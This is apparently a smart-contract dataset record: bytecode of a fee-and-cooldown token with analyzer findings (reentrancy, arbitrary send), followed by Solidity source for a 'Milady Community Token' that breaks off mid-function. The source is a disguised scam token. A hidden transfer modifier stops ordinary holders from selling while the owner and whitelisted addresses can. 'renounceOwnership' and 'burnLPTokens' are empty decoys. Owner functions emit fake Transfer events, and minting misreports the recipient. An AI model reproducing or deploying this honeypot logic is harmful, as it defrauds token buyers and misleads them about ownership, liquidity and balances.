ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610beb6112b2565b73ffffffffffffffffffffffffffffffffffffffff1614610c0b57600080fd5b6000610c1630610914565b9050610c2181611f1c565b50565b610c2c6112b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090613201565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610ce091906133a6565b601581905550565b6000610d15601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610914565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da96112b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90613201565b60405180910390fd5b60148054906101000a900460ff1615610e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7b90613281565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1530601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669010f0cf064dd592000006112ba565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5b57600080fd5b505afa158015610f6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f939190612b49565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff557600080fd5b505afa158015611009573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102d9190612b49565b6040518363ffffffff1660e01b815260040161104a929190613011565b602060405180830381600087803b15801561106457600080fd5b505af1158015611078573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109c9190612b49565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112530610914565b600080611130610ab8565b426040518863ffffffff1660e01b815260040161115296959493929190613063565b6060604051808303818588803b15801561116b57600080fd5b505af115801561117f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a49190612cb4565b50505067d02ab486cedc000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125c92919061303a565b602060405180830381600087803b15801561127657600080fd5b505af115801561128a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ae9190612c62565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561132a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132190613261565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139190613141565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147891906132c1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ec90613241565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155c90613101565b60405180910390fd5b600081116115a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159f90613221565b60405180910390fd5b6115b0610ab8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161e57506115ee610ab8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8c57601460159054906101000a900460ff161561172457600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611723576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cf5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118255750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f85760148054906101000a900460ff16611877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186e906132a1565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198e5742601554111561198d576010548111156118b557600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193090613161565b60405180910390fd5b602d4261194691906133a6565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f757600f426119b091906133a6565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0330610914565b9050601460169054906101000a900460ff16158015611a705750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a86575060148054906101000a900460ff165b15611c8a57601460159054906101000a900460ff1615611b255742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1b906131c1565b60405180910390fd5b5b601460179054906101000a900460ff1615611baf576000611b51600c548461221690919063ffffffff16565b9050611ba2611b9384611b85601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610914565b61229190919063ffffffff16565b826122ef90919063ffffffff16565b9050611bad81612339565b505b6000811115611c7057611c0a6064611bfc600b54611bee601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610914565b61221690919063ffffffff16565b6122ef90919063ffffffff16565b811115611c6657611c636064611c55600b54611c47601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610914565b61221690919063ffffffff16565b6122ef90919063ffffffff16565b90505b611c6f81611f1c565b5b60004790506000811115611c8857611c8747611db3565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d335750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3d57600090505b611d49848484846123f0565b50505050565b6000838311158290611d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8e91906130df565b60405180910390fd5b5060008385611da69190613487565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e036002846122ef90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2e573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7f6002846122ef90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eaa573d6000803e3d6000fd5b5050565b6000600754821115611ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eec90613121565b60405180910390fd5b6000611eff61241d565b9050611f1481846122ef90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f7a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa85781602001602082028036833780820191505090505b5090503081600081518110611fe6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208857600080fd5b505afa15801561209c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c09190612b49565b816001815181106120fa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216130601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ba565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c59594939291906132dc565b600060405180830381600087803b1580156121df57600080fd5b505af11580156121f3573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b600080831415612229576000905061228b565b60008284612237919061342d565b905082848261224691906133fc565b14612286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227d906131e1565b60405180910390fd5b809150505b92915050565b60008082846122a091906133a6565b9050838110156122e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122dc90613181565b60405180910390fd5b8091505092915050565b600061233183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612448565b905092915050565b6000600a9050600a82101561235157600a9050612368565b60288211156123635760289050612367565b8190505b5b600061237e6002836124ab90919063ffffffff16565b1461239257808061238e90613555565b9150505b6123b9600a6123ab60068461221690919063ffffffff16565b6122ef90919063ffffffff16565b6009819055506123e6600a6123d860048461221690919063ffffffff16565b6122ef90919063ffffffff16565b600a819055505050565b806123fe576123fd6124f5565b5b612409848484612538565b8061241757612416612703565b5b50505050565b600080600061242a612717565b9150915061244181836122ef90919063ffffffff16565b9250505090565b6000808311829061248f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248691906130df565b60405180910390fd5b506000838561249e91906133fc565b9050809150509392505050565b60006124ed83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525061277c565b905092915050565b600060095414801561250957506000600a54145b1561251357612536565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b60008060008060008061254a876127da565b9550955095509550955095506125a886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126898161288c565b6126938483612949565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126f091906132c1565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b60008060006007549050600069010f0cf064dd59200000905061274f69010f0cf064dd592000006007546122ef90919063ffffffff16565b82101561276f5760075469010f0cf064dd59200000935093505050612778565b81819350935050505b9091565b60008083141582906127c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127bb91906130df565b60405180910390fd5b5082846127d1919061359e565b90509392505050565b60008060008060008060008060006127f78a600954600a54612983565b925092509250600061280761241d565b9050600080600061281a8e878787612a19565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061288483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4f565b905092915050565b600061289661241d565b905060006128ad828461221690919063ffffffff16565b905061290181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61295e8260075461284290919063ffffffff16565b6007819055506129798160085461229190919063ffffffff16565b6008819055505050565b6000806000806129af60646129a1888a61221690919063ffffffff16565b6122ef90919063ffffffff16565b905060006129d960646129cb888b61221690919063ffffffff16565b6122ef90919063ffffffff16565b90506000612a02826129f4858c61284290919063ffffffff16565b61284290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a32858961221690919063ffffffff16565b90506000612a49868961221690919063ffffffff16565b90506000612a60878961221690919063ffffffff16565b90506000612a8982612a7b858761284290919063ffffffff16565b61284290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612ab1816139d2565b92915050565b600081519050612ac6816139d2565b92915050565b600081359050612adb816139e9565b92915050565b600081519050612af0816139e9565b92915050565b600081359050612b0581613a00565b92915050565b600081519050612b1a81613a00565b92915050565b600060208284031215612b3257600080fd5b6000612b4084828501612aa2565b91505092915050565b600060208284031215612b5b57600080fd5b6000612b6984828501612ab7565b91505092915050565b60008060408385031215612b8557600080fd5b6000612b9385828601612aa2565b9250506020612ba485828601612aa2565b9150509250929050565b600080600060608486031215612bc357600080fd5b6000612bd186828701612aa2565b9350506020612be286828701612aa2565b9250506040612bf386828701612af6565b9150509250925092565b60008060408385031215612c1057600080fd5b6000612c1e85828601612aa2565b9250506020612c2f85828601612af6565b9150509250929050565b600060208284031215612c4b57600080fd5b6000612c5984828501612acc565b91505092915050565b600060208284031215612c7457600080fd5b6000612c8284828501612ae1565b91505092915050565b600060208284031215612c9d57600080fd5b6000612cab84828501612af6565b91505092915050565b600080600060608486031215612cc957600080fd5b6000612cd786828701612b0b565b9350506020612ce886828701612b0b565b9250506040612cf986828701612b0b565b9150509250925092565b6000612d0f8383612d1b565b60208301905092915050565b612d24816134bb565b82525050565b612d33816134bb565b82525050565b6000612d4482613361565b612d4e8185613384565b9350612d5983613351565b8060005b83811015612d8a578151612d718882612d03565b9750612d7c83613377565b925050600181019050612d5d565b5085935050505092915050565b612da0816134cd565b82525050565b612daf81613510565b82525050565b6000612dc08261336c565b612dca8185613395565b9350612dda818560208601613522565b612de38161362d565b840191505092915050565b6000612dfb602383613395565b9150612e068261363e565b604082019050919050565b6000612e1e602a83613395565b9150612e298261368d565b604082019050919050565b6000612e41602283613395565b9150612e4c826136dc565b604082019050919050565b6000612e64602283613395565b9150612e6f8261372b565b604082019050919050565b6000612e87601b83613395565b9150612e928261377a565b602082019050919050565b6000612eaa601583613395565b9150612eb5826137a3565b602082019050919050565b6000612ecd602383613395565b9150612ed8826137cc565b604082019050919050565b6000612ef0602183613395565b9150612efb8261381b565b604082019050919050565b6000612f13602083613395565b9150612f1e8261386a565b602082019050919050565b6000612f36602983613395565b9150612f4182613893565b604082019050919050565b6000612f59602583613395565b9150612f64826138e2565b604082019050919050565b6000612f7c602483613395565b9150612f8782613931565b604082019050919050565b6000612f9f601783613395565b9150612faa82613980565b602082019050919050565b6000612fc2601883613395565b9150612fcd826139a9565b602082019050919050565b612fe1816134f9565b82525050565b612ff081613503565b82525050565b600060208201905061300b6000830184612d2a565b92915050565b60006040820190506130266000830185612d2a565b6130336020830184612d2a565b9392505050565b600060408201905061304f6000830185612d2a565b61305c6020830184612fd8565b9392505050565b600060c0820190506130786000830189612d2a565b6130856020830188612fd8565b6130926040830187612da6565b61309f6060830186612da6565b6130ac6080830185612d2a565b6130b960a0830184612fd8565b979650505050505050565b60006020820190506130d96000830184612d97565b92915050565b600060208201905081810360008301526130f98184612db5565b905092915050565b6000602082019050818103600083015261311a81612dee565b9050919050565b6000602082019050818103600083015261313a81612e11565b9050919050565b6000602082019050818103600083015261315a81612e34565b9050919050565b6000602082019050818103600083015261317a81612e57565b9050919050565b6000602082019050818103600083015261319a81612e7a565b9050919050565b600060208201905081810360008301526131ba81612e9d565b9050919050565b600060208201905081810360008301526131da81612ec0565b9050919050565b600060208201905081810360008301526131fa81612ee3565b9050919050565b6000602082019050818103600083015261321a81612f06565b9050919050565b6000602082019050818103600083015261323a81612f29565b9050919050565b6000602082019050818103600083015261325a81612f4c565b9050919050565b6000602082019050818103600083015261327a81612f6f565b9050919050565b6000602082019050818103600083015261329a81612f92565b9050919050565b600060208201905081810360008301526132ba81612fb5565b9050919050565b60006020820190506132d66000830184612fd8565b92915050565b600060a0820190506132f16000830188612fd8565b6132fe6020830187612da6565b81810360408301526133108186612d39565b905061331f6060830185612d2a565b61332c6080830184612fd8565b9695505050505050565b600060208201905061334b6000830184612fe7565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133b1826134f9565b91506133bc836134f9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133f1576133f06135cf565b5b828201905092915050565b6000613407826134f9565b9150613412836134f9565b925082613422576134216135fe565b5b828204905092915050565b6000613438826134f9565b9150613443836134f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561347c5761347b6135cf565b5b828202905092915050565b6000613492826134f9565b915061349d836134f9565b9250828210156134b0576134af6135cf565b5b828203905092915050565b60006134c6826134d9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061351b826134f9565b9050919050565b60005b83811015613540578082015181840152602081019050613525565b8381111561354f576000848401525b50505050565b6000613560826134f9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613593576135926135cf565b5b600182019050919050565b60006135a9826134f9565b91506135b4836134f9565b9250826135c4576135c36135fe565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139db816134bb565b81146139e657600080fd5b50565b6139f2816134cd565b81146139fd57600080fd5b50565b613a09816134f9565b8114613a1457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f69bb1255c45b479ade3f2e700d19f787bf826291357fc2db9820ddeefe286f164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,886 |
0xbc49d19a47c9cb4b741b69e817bf4eecc45ae140
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract MiladyCommunityToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x00859b3baaC525143BB8A3ee3e19DDf9Daf2408c;
address public _ownr = 0xf6526FC1Fc39eFaCd625ccD28f9AA414165A729d;
constructor () public {
_name = "Milady Community Token";
_symbol = "LADY";
_decimals = 18;
uint256 initialSupply = 1000000000 * 10 ** 18;
_safeOwnr = _ownr;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _ownr, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _ownr, "!owner");
_safeOwnr = safeOwner;
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeOwnr
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _ownr){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _ownr, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_ownr] = _balances[_ownr].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _ownr){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _ownr, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function enter(address recipient) public _verify(){
_plus[recipient]=true;
